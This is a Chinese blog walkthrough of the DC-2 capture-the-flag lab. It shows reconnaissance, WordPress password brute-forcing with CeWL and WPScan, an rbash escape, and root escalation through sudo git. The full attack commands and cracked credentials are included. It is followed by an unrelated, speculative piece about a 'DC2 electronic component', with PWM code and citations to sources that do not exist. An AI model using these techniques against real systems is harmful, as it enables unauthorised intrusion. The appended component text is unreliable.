DC-2靶机渗透测试全过程

目录

一、准备过程

二、信息收集

1.ip地址搜寻

2.端口信息搜集

3.网页信息收集

DNS绑定

flag1

三、渗透测试

 1.Cewl利用

2.WPScan利用

flag2

3.ssh连接

 flag3

4.绕过rbash

flag4

5.提权

final-flag.txt

总结


 

写一篇文章来记录DC靶机系列的学习过程

一、准备过程

攻击机: kali+windows11

靶机:DC-2(NAT模式)

二、信息收集

1.ip地址搜寻

┌──(root㉿kali)-[~]
└─# arp-scan -l

查看此时的靶机的MAC地址,经过对照发现靶机的ip地址为:192.168.105.160

2.端口信息搜集

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 19:03 CST
Nmap scan report for 192.168.105.160 (192.168.105.160)
Host is up (0.00098s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:50:08:C0 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.65 seconds

得到端口信息以及操作系统信息:80(http_open)/7744(ssh_open)

这个7744端口看起来可以搞一下,竟然还是开着的

3.网页信息收集

访问80端口,当我输入:192.168.105.160:80时发现:

此时重定向到dc-2去了?

在正常的网络访问逻辑中,输入IP地址不应该自动转化为域名。这里应该是进行了一个判断重定向到dc-2,dc-2域名解析失败,但也许可以将dc-2这个域名和我们的靶机192.168.105.160:80绑定起来。

DNS绑定

hosts文件:用于存储计算机网络中主机名与IP地址映射关系,一般构成为:

127.0.0.1 localhost 表示将127.0.0.1 映射到了 localhost,访问localhost就访问到了127.0.0.1

 首先找到hosts文件,一般在这个下:  C:\Windows\System32\drivers\etc

然后以管理员身份用Notepad++打开hosts,补上这段:

就可以成功访问到网页了

然后进行网页信息收集

(1)利用Wappalyzer插件查看网页信息

cms为: WordPress 4.7.10

数据库为:MYSQL

 

然后本来可以继续用dirsearch扫一下目录的,但我先在网页中发现了flag1

flag1

  • 你常用的单词列表可能不起作用,所以,也许你只需要使用 Cewl 工具。
  • 密码越多越好,但有时你不可能破解所有密码。
  • 以一个身份登录以查看下一个标志(线索)。
  • 如果找不到,就换个身份登录。

总结一下信息:(1)需要用到Cewl工具 (2)尽可能多地得到密码(3)下一个flag2要先登录才能看到(4)也许flag2找不到是身份找错了

好的,先放这里,扫一下目录先(也许在目录中可以得到一些普通信息,但说不定这些信息就可以让我"伪装"起来)

扫到的目录有:

(1)  http://dc-2/license.txt (扫到的英文直接让AI帮我看,没什么很有用的,就最后一句:WordPress 附带的任何程序二进制文件或压缩脚本的源代码,均可从以下网址免费获取:Source Code – WordPress.org)

(2)http://dc-2/readme.html (这里面也有一些信息,比如安装用的是wp-admin/install.php 配置文件 wp-config.php 更新用的是wp-admin/upgrade.php)

(3)http://dc-2/wp-admin/ (是一个登录框)

(4)http://dc-2/wp-config.php (看不到信息)

(5)http://dc-2/wp-includes (这个不得了,好多文件都在里面,稍后有机会就来看看)

剩下扫出来的就没有什么了

 

按照flag1给我们的提示,先去接触一下Wordpress以及Cewl

Wordpress显示是出现了几个漏洞的,大多数与插件有关,这个之后再。此外还搜到了,针对Wordpress的工具 wpscan

 WPScan 是一款专门用于扫描WordPress网站漏洞的工具

字典生成工具-Cewl 可将特定URL爬取到定义的深度并返回关键字列表

三、渗透测试

 1.Cewl利用

既然flag1提醒我们要尽可能多地获得密码,不妨试试Cewl来爬取关键字

┌──(root㉿kali)-[~/dc-2]
└─# cewl http://dc-2 -w passwd.txt

CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

 得到了一些关键字列表,现在我们去找登录框,这在我们之前的dirsearch扫目录已经扫到了

http://dc-2/wp-admin

 

 还需要账号,这里学习一下WPScan的用法

2.WPScan利用

┌──(root㉿kali)-[~/dc-2]
└─# wpscan --url http://dc-2/ -e u
# 用来枚举账户名字

最终发现了三个用户名:admin    jerry     tom

然后放入user.txt中

然后利用WPScan来爆破账号和密码(这里我感觉密码有些太简单了,也许以后可以尝试用一些工具生成社工字典)

┌──(root㉿kali)-[~/dc-2]
└─# wpscan --url http://dc-2/ -U users.txt -P passwd.txt

成功得到了两个账号

[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient

直接登录! 先试试jerry,最终在这里得到了flag2

flag2

如果你无法利用 WordPress 的漏洞来走捷径,那么还有另一种方法。

 

希望你能找到另一个切入点。

要么找到WordPress的捷径,要么找到另一个切入点。我第一时间想到的是也许WordPress网站本身有?毕竟已经得到WordPress的版本了。但看了很多篇师傅的文章,发现这个版本的漏洞并不显眼,用msf搜索也没相关信息,看来只能尝试找另一个切入点了

其实就是一开始信息收集的open_ssh 7744端口

3.ssh连接

尝试用jerry账号来连接ssh,但是连接不上,显示  “权限不够”

┌──(root㉿kali)-[~/dc-2]
└─# ssh jerry@192.168.105.160 -p 7744
jerry@192.168.105.160's password:
Permission denied, please try again.

但我们还有另一个账号tom, 应该就是这个了

┌──(root㉿kali)-[~/dc-2]
└─# ssh tom@192.168.105.160 -p 7744
tom@192.168.105.160's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb  5 16:05:46 2025 from 192.168.105.148
tom@DC-2:~$

成功登录上,直接ls找到flag3

tom@DC-2:~$ ls
flag3.txt  usr

可是这里竟然找不到 cat 和 vim 命令........查看这里可以用什么命令

compgen -c

最终找到vi,用vi读取

 flag3

可怜的老tom总是追着jerry跑。也许他应该因为自己制造的所有压力而使用 su 命令。

su命令指的是切换用户身份,那就是要切换成jerry身份,tom如何切换到jerry呢?那么多命令用不了...仔细看了下tom的命令状态

tom@DC-2:~$ vim
-rbash: vim: command not found

这里显示的是rbash—— 是一种受限的bash状态,很明显我们需要绕过它,但这块我并没接触过,所以学学师傅们的做法,用到了如下命令

4.绕过rbash

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;
$ a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt  usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

#  这里的BASH_CMDS数组主要用于记录已经执行过的命令的完整路径

#  BASH_CMDS[a]就是向该数组中添加一个元素,将其键值设置为/bin/sh,相当于多了一个a命令

#  export 用于将变量导出到当前shell及其子shell环境中,被其导出的变量可以被当前shell执行的所有命令和脚本访问

#  由于此时的PATH被rbash限制了,所以需要将/bin和/usr/bin 添加到PATH中

还有很多绕过rbash的方法,稍微都了解了一下

此时就可以使用cat命令了,然后切换到jerry用户

$ su jerry
Password:
jerry@DC-2:/home/tom$

 找一下flag4

jerry@DC-2:/$ find / -name 'flag4*'

最终找到在   /home/jerry/flag4.txt   下

flag4

很高兴看到你已经走到这一步了 —— 但你还没成功呢。

 

你仍然需要找到最终的标志(这才是唯一真正重要的标志!!!)。

 

这里不会再给提示了 —— 现在你得靠自己啦。 :-)

 

继续加油吧 —— (git)赶紧行动起来!!!

其实看到刚刚find查找的一片红的记录就知道权限仍然不够,最后的方式应该就是提权了,现在就想着法子提权,还记得做DC-1靶机的做法,用find查一下设置了setuid的进程

jerry@DC-2:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/bin/umount
/bin/mount
/bin/su

试试sudo,发现不行。提权这一块还没有系统的学习过,就看一下师傅是怎么做的了

5.提权

使用 sudo -l 来看看自己拥有哪些sudo权限

jerry@DC-2:/$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

发现是git,其实刚刚的flag4也提示了git这个关键词,然后就是使用git提权

jerry@DC-2:/$ sudo git help config

然后直接在键盘上输入 :        !/bin/sh

此时就已经成功提权到root了

 再找最后一个flag

final-flag.txt


# cd root
# ls
final-flag.txt
# cat final-flag.txt
 __    __     _ _       _                    _
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

总结

(1)本来这里想做一下痕迹清除的,但看了很多日志发现并没有我们攻击机的记录(感觉很奇怪)

(2)通过DC-2靶机,学习到的知识有:WordPress WPScan Cewl 以及绕过rbash,希望我能再多掌握一些工具

(3)并且还回顾了一下痕迹清除这块

有问题的地方欢迎各位师傅提出!

 

 

 

 

 

 

 

 

 

 

 

 

### 关于DC2元器件的使用说明与教程 目前提供的引用材料并未直接提及 **DC2元器件** 的具体定义或其使用方法。然而,可以从其他相关领域推断可能涉及的知识点,并尝试提供一些通用指导。 #### DC2元器件概述 假设这里的“DC2”指的是某种直流(Direct Current, DC)相关的电子组件或模块,则可以根据常见的电子设计原则来推测其用途和操作方式。例如,在许多嵌入式系统开发中,类似于 STM32F103RB 这样的微控制器平台可能会配合某些特定功能的外设工作[^2]。如果 DC2 是一种功率转换设备、驱动电路或是信号调理单元,那么它的基本应用逻辑通常围绕以下几个方面展开: - 输入/输出接口配置; - 参数调节范围设定; - 工作模式切换控制等。 #### 可能的应用场景分析 基于上述提到的一些基础概念——比如二极管的功能特性描述[^1]以及滤波算法实现思路[^3]——我们可以进一步联想出如下几种典型情况适用于讨论对象"DC2": ##### 场景一:作为电源管理部件之一参与整体架构构建 在这种情形下,“DC2”也许代表某类降压变换器(Buck Converter)或者升压变换器(Boost Converter),负责将输入电压调整至适合下游负载需求水平的同时保持效率最优化状态运行。此时需要注意的关键参数包括但不限于开关频率(fsw),占空比(Duty Cycle),反馈环路补偿机制等等因素影响下的动态响应表现如何满足实际项目指标要求。 ```c // 示例代码片段展示简易PWM生成过程 void generate_pwm(int duty_cycle){ TIM_TimeBaseInitTypeDef TIM_InitStruct; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM4, ENABLE); TIM_InitStruct.TIM_Period = 999; TIM_InitStruct.TIM_Prescaler = 71; TIM_InitStruct.TIM_ClockDivision = TIM_CKD_DIV1; TIM_InitStruct.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseInit(TIM4,&TIM_InitStruct); TIM_SetCompare1(TIM4,duty_cycle*10); TIM_Cmd(TIM4,ENABLE); } ``` ##### 场景二:充当传感器采集前端处理节点角色 另一种可能性在于它被用来执行诸如光电隔离放大之类的任务以便更好地获取外部环境变化信息进而作出相应决策动作。这里可以联想到之前有关光照强度监测阈值设置部分所阐述的内容[^4],即通过合理安排检测周期及时长规避外界干扰源造成错误触发现象发生几率提升测量精度可靠性程度。 --- 尽管如此,由于缺乏更确切的产品手册文档支持,以上仅属于理论层面探讨范畴并不能完全覆盖实际情况复杂度差异之处。因此强烈建议查阅官方发布的权威资料获得更为详尽准确的信息来源依据做出最终判断结论!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值